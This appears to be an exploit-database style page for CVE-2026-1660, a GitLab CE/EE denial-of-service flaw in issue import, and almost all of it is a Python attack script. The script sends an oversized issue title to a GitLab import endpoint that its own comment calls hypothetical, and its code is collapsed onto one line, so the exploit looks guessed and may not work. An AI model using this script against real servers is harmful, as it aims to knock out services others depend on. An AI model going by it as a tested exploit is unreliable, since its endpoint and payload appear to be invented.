CVE-2026-1660 GitLab CE/EE 议题导入DoS漏洞

import requests # Exploit Title: GitLab CE/EE DoS via Issue Import # Date: 2026-04-22 # Exploit Author: Analyst # Vendor Homepage: https://about.gitlab.com/ # Software Link: https://about.gitlab.com/releases/ # Version: < 18.9.6, < 18.10.4, < 18.11.1 # CVE: CVE-2026-1660 def trigger_dos(url, token, project_id): headers = { 'PRIVATE-TOKEN': token } # Malicious payload designed to trigger improper input validation during processing payload = { 'file': 'malicious_issues.csv', 'delimiter': ',', # Injecting specially crafted data to cause resource exhaustion 'issues': [{'title': 'A' * 1000000, 'description': 'DoS payload'}] } # Endpoint for importing issues (hypothetical based on functionality) import_url = f"{url}/api/v4/projects/{project_id}/import_issues" try: response = requests.post(import_url, headers=headers, json=payload, timeout=10) if response.status_code == 202 or response.status_code == 200: print("Payload sent, server may be processing malicious input.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target_url = "http://gitlab.example.com" user_token = "glpat-xxxxxxxxxxxxxxxxxxxx" target_project = 1 trigger_dos(target_url, user_token, target_project)